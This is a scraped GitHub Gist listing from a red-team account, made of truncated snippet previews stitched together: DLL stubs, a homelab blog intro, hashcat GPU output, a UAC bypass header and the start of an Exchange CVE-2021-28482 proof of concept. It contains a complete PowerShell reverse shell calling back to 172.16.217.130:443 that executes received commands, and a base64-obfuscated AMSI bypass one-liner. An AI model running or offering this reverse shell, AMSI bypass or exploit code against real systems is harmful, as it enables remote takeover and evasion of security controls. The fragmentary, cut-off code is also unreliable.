Skip to content

Instantly share code, notes, and snippets.

//sample dll
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpData)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:

HomeLab : Building a Alpine-Based (AARCH64) DropBox (pt 1)

I've been fascinated for a while on the idea of building my own home network, however with little time and somewhat being stubborn on the specifics I've pushed it off until most of the pieces come to together. Nonetheless, I plan on documenting as much of the process as possible in hopes to keep a "log", as well as hopefully teach others as I learn. Probably impossible to teach something you know so little about, but you miss the shots you don't take, as they say.

Purpose of this bit is to construct an Alpine Linux-based dropbox running atop an SBC (Single-Board-Computer) to allow internal access into the network from anywhere (well, the ones I permit anyhow). For this, I've chosen:

@RedTeams
RedTeams / dllmain.c
Created July 11, 2022 22:02
Locate msv1_0!NtlmFunctionTable by parsing .rdata section.
#define _GNU_SOURCE
#define _WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include "ssp.h"
BOOL
DllMain( _In_ HINSTANCE hInstance,
_In_ DWORD fdwReason,
/*!
*
* ROGUE
*
* GuidePoint Security LLC
*
* Threat and Attack Simulation
*
!*/
$client = New-Object System.Net.Sockets.TCPClient('172.16.217.130',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$result = $sendback + 'PS '+ (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($result);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
@RedTeams
RedTeams / Compress.cs
Created December 2, 2021 23:24 — forked from Wra7h/Compress.cs
C# Compression using Windows API
//Compresses a file using the Windows API
//Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\Compress.cs
//Windows Compression API: https://docs.microsoft.com/en-us/windows/win32/api/_cmpapi/
//Supported Algorithms: https://docs.microsoft.com/en-us/windows/win32/api/compressapi/nf-compressapi-createcompressor
// Takes a file, compresses it using one of the supported algorithms and creates a file with the compressed data.
using System;
using System.IO;
using System.Linq;
@RedTeams
RedTeams / test
Last active January 20, 2022 09:28
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
@RedTeams
RedTeams / cmlua.cs
Created August 13, 2021 23:05 — forked from Moriarty2016/cmlua.cs
Bypass UAC with ICMLuaUtil --- .Net Version
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
namespace Test1
{
public static class Test
{
internal enum HRESULT : long
OpenCL API (OpenCL 1.2 CUDA 11.2.109) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #1: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
* Device #2: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
* Device #3: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
* Device #4: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
* Device #5: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
* Device #6: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
* Device #7: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
* Device #8: GeForce RTX 2080 Ti, 10816/11019 MB (2754 MB allocatable), 68MCU
@RedTeams
RedTeams / PoC_CVE-2021-28482.py
Created May 4, 2021 08:10 — forked from testanull/PoC_CVE-2021-28482.py
PoC of CVE-2021-28482
import requests
import time
import sys
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
from urllib import quote_plus
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)